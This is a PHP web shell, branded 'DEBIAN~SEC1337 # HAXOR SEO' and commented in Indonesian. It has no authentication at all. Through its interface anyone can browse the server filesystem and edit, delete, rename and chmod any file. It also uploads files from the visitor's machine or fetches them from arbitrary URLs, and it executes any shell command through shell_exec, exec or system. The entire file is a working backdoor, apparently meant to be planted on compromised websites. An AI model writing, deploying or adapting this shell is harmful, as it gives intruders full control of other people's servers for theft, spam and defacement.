<?php
// Tampilkan error untuk debugging
error_reporting(E_ALL);
ini_set('display_errors', 1);

// Tentukan direktori tempat script ini berada sebagai titik acuan aman
$script_dir = dirname(__FILE__);

// Inisialisasi Path berdasarkan GET atau POST, default ke direktori script
$raw_path = isset($_GET['path']) ? $_GET['path'] : (isset($_POST['path']) ? $_POST['path'] : $script_dir);

$base_path = realpath($raw_path);
if ($base_path === false || !file_exists($base_path)) {
    $base_path = $script_dir;
}

$message = '';
$terminal_output = '';
$active_tab = '';

// Handle Aksi POST
if (isset($_POST['action'])) {
    $action = $_POST['action'];
    
    // Buat Folder Baru
    if ($action == 'create_folder') {
        $folder_name = trim($_POST['folder_name']);
        if (!empty($folder_name)) {
            $target = rtrim($base_path, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $folder_name;
            if (!file_exists($target)) {
                if (@mkdir($target, 0755, true)) {
                    $message = "<div class='alert success'>Folder berhasil dibuat!</div>";
                } else {
                    $message = "<div class='alert error'>Gagal membuat folder (cek permission).</div>";
                }
            } else {
                $message = "<div class='alert error'>Folder sudah ada!</div>";
            }
        }
    }
    
    // Buat File Baru
    if ($action == 'create_file') {
        $file_name = trim($_POST['file_name']);
        $file_content = isset($_POST['file_content']) ? $_POST['file_content'] : '';
        if (!empty($file_name)) {
            $target = rtrim($base_path, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $file_name;
            if (!file_exists($target)) {
                if (@file_put_contents($target, $file_content) !== false) {
                    $message = "<div class='alert success'>File berhasil dibuat!</div>";
                } else {
                    $message = "<div class='alert error'>Gagal membuat file.</div>";
                }
            } else {
                $message = "<div class='alert error'>File sudah ada!</div>";
            }
        }
    }
    
    // Simpan Edit File
    if ($action == 'save_file') {
        $file_path = $_POST['file_path'];
        $file_content = $_POST['file_content'];
        if (@file_put_contents($file_path, $file_content) !== false) {
            $message = "<div class='alert success'>File berhasil disimpan!</div>";
        } else {
            $message = "<div class='alert error'>Gagal menyimpan file.</div>";
        }
    }
    
    // Rename File / Folder
    if ($action == 'rename') {
        $old_name = $_POST['old_name'];
        $new_name = trim($_POST['new_name']);
        if (!empty($new_name)) {
            $dir = dirname($old_name);
            $new_path = $dir . DIRECTORY_SEPARATOR . $new_name;
            if (@rename($old_name, $new_path)) {
                $message = "<div class='alert success'>Berhasil di-rename!</div>";
            } else {
                $message = "<div class='alert error'>Gagal rename file/folder.</div>";
            }
        }
    }

    // Change Permission (CHMOD)
    if ($action == 'chmod') {
        $target = $_POST['target_path'];
        $chmod_val = trim($_POST['chmod_val']);
        if (!empty($chmod_val) && file_exists($target)) {
            $octal_val = octdec($chmod_val);
            if (@chmod($target, $octal_val)) {
                $message = "<div class='alert success'>Permission berhasil diubah ke {$chmod_val}!</div>";
            } else {
                $message = "<div class='alert error'>Gagal mengubah permission (Cek akses/owner).</div>";
            }
        }
    }

    // Eksekusi Perintah Terminal
    if ($action == 'terminal') {
        $active_tab = 'terminal-box';
        $cmd = trim($_POST['cmd']);
        if (!empty($cmd)) {
            $full_cmd = 'cd ' . escapeshellarg($base_path) . ' && ' . $cmd . ' 2>&1';
            
            if (function_exists('shell_exec')) {
                $terminal_output = @shell_exec($full_cmd);
            } elseif (function_exists('exec')) {
                @exec($full_cmd, $output_arr);
                $terminal_output = implode("\n", $output_arr);
            } elseif (function_exists('system')) {
                ob_start();
                @system($full_cmd);
                $terminal_output = ob_get_clean();
            } else {
                $terminal_output = "Fungsi eksekusi sistem (shell_exec/exec/system) dinonaktifkan oleh server.";
            }
        }
    }
}

// Handle Delete (GET)
if (isset($_GET['delete'])) {
    $target = $_GET['delete'];
    if (is_file($target)) {
        if (@unlink($target)) {
            $message = "<div class='alert success'>File berhasil dihapus!</div>";
        } else {
            $message = "<div class='alert error'>Gagal menghapus file.</div>";
        }
    } elseif (is_dir($target)) {
        function delete_dir($dir) {
            $files = @scandir($dir);
            if (!is_array($files)) return false;
            foreach ($files as $file) {
                if ($file == '.' || $file == '..') continue;
                $path = $dir . DIRECTORY_SEPARATOR . $file;
                is_dir($path) ? delete_dir($path) : @unlink($path);
            }
            return @rmdir($dir);
        }
        if (delete_dir($target)) {
            $message = "<div class='alert success'>Folder berhasil dihapus!</div>";
        } else {
            $message = "<div class='alert error'>Gagal menghapus folder.</div>";
        }
    }
}

// Fungsi untuk merender Breadcrumbs interaktif
function render_breadcrumb($path, $script_dir) {
    $path = realpath($path);
    if (!$path) return 'root';
    $relative = str_replace($script_dir, '', $path);
    $parts = explode(DIRECTORY_SEPARATOR, trim($relative, DIRECTORY_SEPARATOR));
    
    $html = '<a href="?path=' . urlencode($script_dir) . '"><b>[root]</b></a> / ';
    $built = $script_dir;
    
    if (!empty($parts[0])) {
        foreach ($parts as $part) {
            if ($part == '') continue;
            $built .= DIRECTORY_SEPARATOR . $part;
            $html .= '<a href="?path=' . urlencode($built) . '">' . htmlspecialchars($part) . '</a> / ';
        }
    }
    return $html;
}

// Fungsi helper untuk mengambil permission dalam format teks & warna
function get_permissions($path) {
    $perms = @fileperms($path);
    if ($perms === false) return '????';
    
    $info = '';
    if (($perms & 0xC000) == 0xC000) $info = 's';
    elseif (($perms & 0xA000) == 0xA000) $info = 'l';
    elseif (($perms & 0x4000) == 0x4000) $info = 'd';
    elseif (($perms & 0x6000) == 0x6000) $info = 'b';
    elseif (($perms & 0x2000) == 0x2000) $info = 'c';
    elseif (($perms & 0x1000) == 0x1000) $info = 'p';
    else $info = '-';

    $info .= (($perms & 0x0100) ? 'r' : '-');
    $info .= (($perms & 0x0080) ? 'w' : '-');
    $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-'));
    $info .= (($perms & 0x0020) ? 'r' : '-');
    $info .= (($perms & 0x0010) ? 'w' : '-');
    $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-'));
    $info .= (($perms & 0x0004) ? 'r' : '-');
    $info .= (($perms & 0x0002) ? 'w' : '-');
    $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-'));

    $octal = substr(sprintf('%o', $perms), -4);
    return "$octal ($info)";
}

function get_octal_perm($path) {
    $perms = @fileperms($path);
    if ($perms === false) return '0755';
    return substr(sprintf('%o', $perms), -4);
}
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>DEBIAN~SEC1337 # HAXOR SEO</title>
    <style>
        :root {
            --bg-main: #121212;
            --bg-box: #1e1e1e;
            --bg-table-th: #252526;
            --border-color: #333;
            --text-main: #e0e0e0;
            --accent-color: #3794ff;
            --accent-hover: #1f75cb;
            --green: #4ec9b0;
            --red: #f14c4c;
        }
        body { font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; background: var(--bg-main); color: var(--text-main); margin: 0; padding: 20px; font-size: 14px; display: flex; flex-direction: column; min-height: 95vh; }
        .content-wrapper { flex: 1; }
        h2, h3 { margin-top: 0; color: #fff; }
        a { color: var(--accent-color); text-decoration: none; transition: color 0.2s; }
        a:hover { color: #61afef; text-decoration: underline; }
        input, select, button, textarea { background: #2d2d2d; color: #fff; border: 1px solid var(--border-color); padding: 8px 12px; border-radius: 4px; font-family: monospace; outline: none; }
        input:focus, textarea:focus { border-color: var(--accent-color); }
        button { cursor: pointer; background: var(--accent-color); border: none; color: white; font-weight: 600; padding: 8px 16px; border-radius: 4px; transition: background 0.2s; }
        button:hover { background: var(--accent-hover); }
        table { width: 100%; border-collapse: collapse; margin-top: 10px; }
        th, td { border: 1px solid var(--border-color); padding: 10px 12px; text-align: left; }
        th { background: var(--bg-table-th); font-weight: 600; color: #fff; }
        tr:hover { background: rgba(255, 255, 255, 0.02); }
        .box { background: var(--bg-box); padding: 20px; border: 1px solid var(--border-color); border-radius: 6px; margin-bottom: 20px; box-shadow: 0 4px 6px rgba(0,0,0,0.1); }
        textarea { width: 100%; height: 400px; resize: vertical; line-height: 1.5; }
        .breadcrumb-box { background: #181818; padding: 12px 15px; border: 1px solid var(--border-color); border-radius: 4px; margin-bottom: 12px; word-break: break-all; font-size: 13px; font-family: monospace; }
        .alert { padding: 10px 15px; border-radius: 4px; margin-bottom: 15px; font-weight: 500; }
        .alert.success { background: rgba(78, 201, 176, 0.15); border: 1px solid var(--green); color: var(--green); }
        .alert.error { background: rgba(241, 76, 76, 0.15); border: 1px solid var(--red); color: var(--red); }
        .path-form { display: flex; gap: 10px; align-items: center; }
        .path-form input { flex-grow: 1; font-family: monospace; }
        .btn-danger { background: #d9534f !important; }
        .btn-danger:hover { background: #c9302c !important; }
        .badge-writable { color: var(--green); font-weight: bold; }
        .badge-readonly { color: var(--red); font-weight: bold; }
        .header-info { background: var(--bg-box); padding: 15px 20px; border-radius: 6px; border: 1px solid var(--border-color); margin-bottom: 20px; font-family: monospace; font-size: 13px; display: flex; justify-content: space-between; align-items: center; flex-wrap: wrap; gap: 10px; }
        .action-links a { margin-right: 6px; display: inline-block; }
        .action-links a:last-child { margin-right: 0; }
        
        /* Style untuk Tombol Accordion Menu Atas */
        .menu-bar { display: flex; gap: 10px; margin-bottom: 20px; flex-wrap: wrap; }
        .accordion-btn { background: #252526; border: 1px solid var(--border-color); color: #fff; padding: 10px 18px; border-radius: 6px; cursor: pointer; font-weight: 600; display: flex; align-items: center; gap: 8px; transition: background 0.2s; }
        .accordion-btn:hover { background: #2d2d2d; border-color: var(--accent-color); }
        .accordion-content { display: none; margin-bottom: 20px; }
        .accordion-content.active { display: block; }
        
        .terminal-output { background: #000; color: #0f0; padding: 12px; border-radius: 4px; font-family: monospace; white-space: pre-wrap; margin-top: 10px; max-height: 250px; overflow-y: auto; }
        
        /* Footer Professional */
        footer { text-align: center; padding: 20px 0; border-top: 1px solid var(--border-color); color: #777; font-size: 13px; margin-top: 40px; }
    </style>
    <script>
        function toggleMenu(menuId) {
            var content = document.getElementById(menuId);
            var menus = document.getElementsByClassName('accordion-content');
            for (var i = 0; i < menus.length; i++) {
                if (menus[i].id !== menuId) {
                    menus[i].classList.remove('active');
                }
            }
            content.classList.toggle('active');
        }
    </script>
</head>
<body>

<div class="content-wrapper">
    <div class="header-info">
        <div>
            <h2 style="margin: 0 0 5px 0; font-size: 18px; font-family: 'Segoe UI', sans-serif;">DEBIAN~SEC1337 # HAXOR SEO</h2>
            <span style="color: #888;"><b>Letak File:</b> <?php echo __FILE__; ?></span>
        </div>
        <div>
            <?php 
                $is_base_writable = is_writable($base_path);
                $status_class = $is_base_writable ? 'badge-writable' : 'badge-readonly';
                $status_text = $is_base_writable ? 'WRITABLE' : 'UNWRITABLE';
            ?>
            <b>INFO Dir:</b> <span class="<?php echo $status_class; ?>"><?php echo $status_text; ?></span>
        </div>
    </div>

    <?php echo $message; ?>

    <!-- Navigasi Breadcrumbs & Form Path -->
    <div class="box">
        <div class="breadcrumb-box">
            <b>Location:</b> <?php echo render_breadcrumb($base_path, $script_dir); ?>
        </div>
        <form method="GET" action="" class="path-form">
            <input type="text" name="path" value="<?php echo htmlspecialchars($base_path); ?>" />
            <button type="submit">Go</button>
        </form>
        <div style="margin-top: 12px;">
            <?php
            $parent_path = dirname($base_path);
            echo '<a href="?path=' . urlencode($parent_path) . '">📁 <b>[ Up to Parent Directory ]</b></a>';
            ?>
        </div>
    </div>

    <!-- TOMBOL MENU ATAS (ACCORDION) -->
    <div class="menu-bar">
        <button class="accordion-btn" onclick="toggleMenu('upload-local-box')">📂 Upload Local File</button>
        <button class="accordion-btn" onclick="toggleMenu('upload-url-box')">🌐 Upload from URL</button>
        <button class="accordion-btn" onclick="toggleMenu('terminal-box')">💻 Server Terminal</button>
    </div>

    <!-- KONTEN 1: UPLOAD LOCAL -->
    <div id="upload-local-box" class="box accordion-content">
        <h3>Upload File From Your Local</h3>
        <form method="POST" action="?path=<?php echo urlencode($base_path); ?>" enctype="multipart/form-data" style="display: flex; gap: 10px; align-items: center; flex-wrap: wrap;">
            <input type="file" name="uploads[]" multiple="multiple" required="required" style="background: #181818;" />
            <button type="submit">Upload</button>
        </form>
        <div style="margin-top: 15px;">
            <?php
            if (isset($_FILES['uploads']) && count($_FILES['uploads']) > 0) {
                $total = count($_FILES['uploads']['name']);
                for ($i = 0; $i < $total; $i++) {
                    $tmpPath = $_FILES['uploads']['tmp_name'][$i];
                    if ($tmpPath != '') {
                        $newPath = rtrim($base_path, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $_FILES['uploads']['name'][$i];
                        if (@move_uploaded_file($tmpPath, $newPath)) {
                            echo '<div class="alert success" style="margin-bottom: 5px; padding: 5px 10px;">Successfully uploaded ' . htmlspecialchars($_FILES['uploads']['name'][$i]) . '</div>';
                        } else {
                            echo '<div class="alert error" style="margin-bottom: 5px; padding: 5px 10px;">Unable to upload ' . htmlspecialchars($_FILES['uploads']['name'][$i]) . '</div>';
                        }
                    }
                }
            }
            ?>
        </div>
    </div>

    <!-- KONTEN 2: UPLOAD URL -->
    <div id="upload-url-box" class="box accordion-content">
        <h3>Upload File From URL</h3>
        <form method="POST" action="?path=<?php echo urlencode($base_path); ?>">
            <div style="margin-bottom: 12px;">
                Filename to save: <br><input type="text" name="save_name" size="30" required="required" style="width: 100%; max-width: 400px; margin-top: 5px;" />
            </div>
            <div style="margin-bottom: 15px;">
                URL: <br><input type="text" name="url" size="50" required="required" style="width: 100%; max-width: 400px; margin-top: 5px;" />
            </div>
            <button type="submit">Download & Save</button>
        </form>
        <div style="margin-top: 15px;">
            <?php
            if (isset($_POST['save_name']) && isset($_POST['url'])) {
                $target_save = rtrim($base_path, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $_POST['save_name'];
                $content_url = @file_get_contents($_POST['url']);
                if ($content_url !== false && @file_put_contents($target_save, $content_url)) {
                    echo '<div class="alert success" style="margin-bottom: 0; padding: 5px 10px;">Successfully uploaded/saved ' . htmlspecialchars($_POST['save_name']) . '</div>';
                } else {
                    echo '<div class="alert error" style="margin-bottom: 0; padding: 5px 10px;">Unable to upload ' . htmlspecialchars($_POST['save_name']) . '</div>';
                }
            }
            ?>
        </div>
    </div>

    <!-- KONTEN 3: TERMINAL (Diberi class active otomatis jika action terminal) -->
    <div id="terminal-box" class="box accordion-content <?php echo ($active_tab == 'terminal-box') ? 'active' : ''; ?>">
        <h3>Server Terminal Command</h3>
        <form method="POST" action="?path=<?php echo urlencode($base_path); ?>">
            <input type="hidden" name="action" value="terminal">
            <div style="margin-bottom: 15px;">
                Command: <br>
                <input type="text" name="cmd" size="50" required="required" placeholder="Contoh: uname -a, free -m, id, ls -la" style="width: 100%; max-width: 500px; margin-top: 5px;" value="<?php echo isset($_POST['cmd']) ? htmlspecialchars($_POST['cmd']) : ''; ?>" />
            </div>
            <button type="submit">Execute Command</button>
        </form>

        <?php if (isset($_POST['action']) && $_POST['action'] == 'terminal'): ?>
            <div style="margin-top: 15px;">
                <b>Output:</b>
                <div class="terminal-output"><?php echo htmlspecialchars($terminal_output); ?></div>
            </div>
        <?php endif; ?>
    </div>

    <?php 
    // MODE EDIT FILE
    if (isset($_GET['edit']) && is_file($_GET['edit'])) {
        $edit_file = $_GET['edit'];
        $content = @file_get_contents($edit_file);
    ?>
        <div class="box">
            <h3>Editing File: <?php echo htmlspecialchars($edit_file); ?></h3>
            <form method="POST" action="?path=<?php echo urlencode($base_path); ?>">
                <input type="hidden" name="action" value="save_file">
                <input type="hidden" name="file_path" value="<?php echo htmlspecialchars($edit_file); ?>">
                <textarea name="file_content"><?php echo htmlspecialchars($content); ?></textarea><br><br>
                <button type="submit">Save Changes</button>
                <a href="?path=<?php echo urlencode($base_path); ?>"><button type="button" class="btn-danger">Cancel</button></a>
            </form>
        </div>
    
    <?php 
    // MODE RENAME FILE/FOLDER
    } elseif (isset($_GET['rename'])) {
        $target_rename = $_GET['rename'];
    ?>
        <div class="box">
            <h3>Rename: <?php echo htmlspecialchars($target_rename); ?></h3>
            <form method="POST" action="?path=<?php echo urlencode($base_path); ?>">
                <input type="hidden" name="action" value="rename">
                <input type="hidden" name="old_name" value="<?php echo htmlspecialchars($target_rename); ?>">
                <div style="margin-bottom: 15px;">
                    New Name: <input type="text" name="new_name" value="<?php echo htmlspecialchars(basename($target_rename)); ?>" required style="width: 300px;" />
                </div>
                <button type="submit">Rename</button>
                <a href="?path=<?php echo urlencode($base_path); ?>"><button type="button" class="btn-danger">Cancel</button></a>
            </form>
        </div>

    <?php 
    // MODE CHMOD PERMISSION
    } elseif (isset($_GET['chmod'])) {
        $target_chmod = $_GET['chmod'];
        $current_perm = get_octal_perm($target_chmod);
    ?>
        <div class="box">
            <h3>Change Permission: <?php echo htmlspecialchars($target_chmod); ?></h3>
            <form method="POST" action="?path=<?php echo urlencode($base_path); ?>">
                <input type="hidden" name="action" value="chmod">
                <input type="hidden" name="target_path" value="<?php echo htmlspecialchars($target_chmod); ?>">
                <div style="margin-bottom: 15px;">
                    Permission (Oktal): <input type="text" name="chmod_val" value="<?php echo htmlspecialchars($current_perm); ?>" required style="width: 150px;" placeholder="0755" />
                </div>
                <button type="submit">Change Permission</button>
                <a href="?path=<?php echo urlencode($base_path); ?>"><button type="button" class="btn-danger">Cancel</button></a>
            </form>
        </div>

    <?php 
    // MODE BUAT FOLDER BARU
    } elseif (isset($_GET['new_folder'])) {
    ?>
        <div class="box">
            <h3>Create New Folder</h3>
            <form method="POST" action="?path=<?php echo urlencode($base_path); ?>">
                <input type="hidden" name="action" value="create_folder">
                <div style="margin-bottom: 15px;">
                    Folder Name: <input type="text" name="folder_name" required style="width: 300px;" />
                </div>
                <button type="submit">Create Folder</button>
                <a href="?path=<?php echo urlencode($base_path); ?>"><button type="button" class="btn-danger">Cancel</button></a>
            </form>
        </div>

    <?php 
    // MODE BUAT FILE BARU
    } elseif (isset($_GET['new_file'])) {
    ?>
        <div class="box">
            <h3>Create New File</h3>
            <form method="POST" action="?path=<?php echo urlencode($base_path); ?>">
                <input type="hidden" name="action" value="create_file">
                <div style="margin-bottom: 15px;">
                    File Name: <input type="text" name="file_name" required style="width: 300px;" />
                </div>
                Content:<br><br>
                <textarea name="file_content"></textarea><br><br>
                <button type="submit">Create File</button>
                <a href="?path=<?php echo urlencode($base_path); ?>"><button type="button" class="btn-danger">Cancel</button></a>
            </form>
        </div>

    <?php 
    // TAMPILAN UTAMA DIREKTORI / FILE SCAN
    } else {
    ?>
        <div class="box">
            <p style="margin-top: 0;">
                <a href="?path=<?php echo urlencode($base_path); ?>&new_folder=1"><button type="button">+ Folder</button></a>
                <a href="?path=<?php echo urlencode($base_path); ?>&new_file=1"><button type="button">+ Buat File</button></a>
            </p>

            <?php
            if (is_dir($base_path)) {
                echo "<h3>Directory Listing</h3>";
                $scan = @scandir($base_path);
                if ($scan) {
                    echo "<table>";
                    echo "<tr><th>Name</th><th>Type</th><th>Size</th><th>Permissions</th><th>Actions</th></tr>";
                    foreach ($scan as $data) {
                        if ($data == '.') continue;
                        $full_path = rtrim($base_path, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $data;
                        $is_dir = is_dir($full_path);
                        $size = $is_dir ? '-' : @filesize($full_path) . ' bytes';
                        $perms_text = get_permissions($full_path);
                        
                        $is_writable = is_writable($full_path);
                        $color_style = $is_writable ? 'color: var(--green);' : 'color: var(--red);';
                        
                        echo "<tr>";
                        if ($is_dir) {
                            echo "<td><a href='?path=" . urlencode($full_path) . "' style='{$color_style}'>📁 <b>" . htmlspecialchars($data) . "</b></a></td>";
                            echo "<td>Directory</td>";
                            echo "<td>{$size}</td>";
                            echo "<td><a href='?path=" . urlencode($base_path) . "&chmod=" . urlencode($full_path) . "' style='{$color_style}'><code>{$perms_text}</code></a></td>";
                            echo "<td class='action-links'>
                                    <a href='?path=" . urlencode($base_path) . "&chmod=" . urlencode($full_path) . "'>[chmod]</a>
                                    <a href='?path=" . urlencode($base_path) . "&rename=" . urlencode($full_path) . "'>[Rename]</a> 
                                    <a href='?path=" . urlencode($base_path) . "&delete=" . urlencode($full_path) . "' onclick='return confirm(\"Hapus folder ini beserta isinya?\");' style='color: var(--red);'>[Delete]</a>
                                  </td>";
                        } else {
                            echo "<td><a href='?path=" . urlencode($base_path) . "&edit=" . urlencode($full_path) . "' style='{$color_style}'>📄 " . htmlspecialchars($data) . "</a></td>";
                            echo "<td>File</td>";
                            echo "<td>{$size}</td>";
                            echo "<td><a href='?path=" . urlencode($base_path) . "&chmod=" . urlencode($full_path) . "' style='{$color_style}'><code>{$perms_text}</code></a></td>";
                            echo "<td class='action-links'>
                                    <a href='?path=" . urlencode($base_path) . "&edit=" . urlencode($full_path) . "'>[Edit]</a>
                                    <a href='?path=" . urlencode($base_path) . "&chmod=" . urlencode($full_path) . "'>[chmod]</a>
                                    <a href='?path=" . urlencode($base_path) . "&rename=" . urlencode($full_path) . "'>[Rename]</a> 
                                    <a href='?path=" . urlencode($base_path) . "&delete=" . urlencode($full_path) . "' onclick='return confirm(\"Hapus file ini?\");' style='color: var(--red);'>[Delete]</a>
                                  </td>";
                        }
                        echo "</tr>";
                    }
                    echo "</table>";
                } else {
                    echo "<div class='alert error'>Tidak dapat membaca direktori (Permission Denied).</div>";
                }
            } else {
                echo "<h3>File Viewer</h3>";
                echo "<textarea readonly style='height:300px;'>" . htmlspecialchars(@file_get_contents($base_path)) . "</textarea>";
            }
            ?>
        </div>
    <?php } ?>
</div>

<!-- FOOTER COPYRIGHT -->
<footer>
    &copy; <?php echo date('Y'); ?> DEBIAN~SEC1337 # HAXOR SEO. All rights reserved.
</footer>

</body>
</html>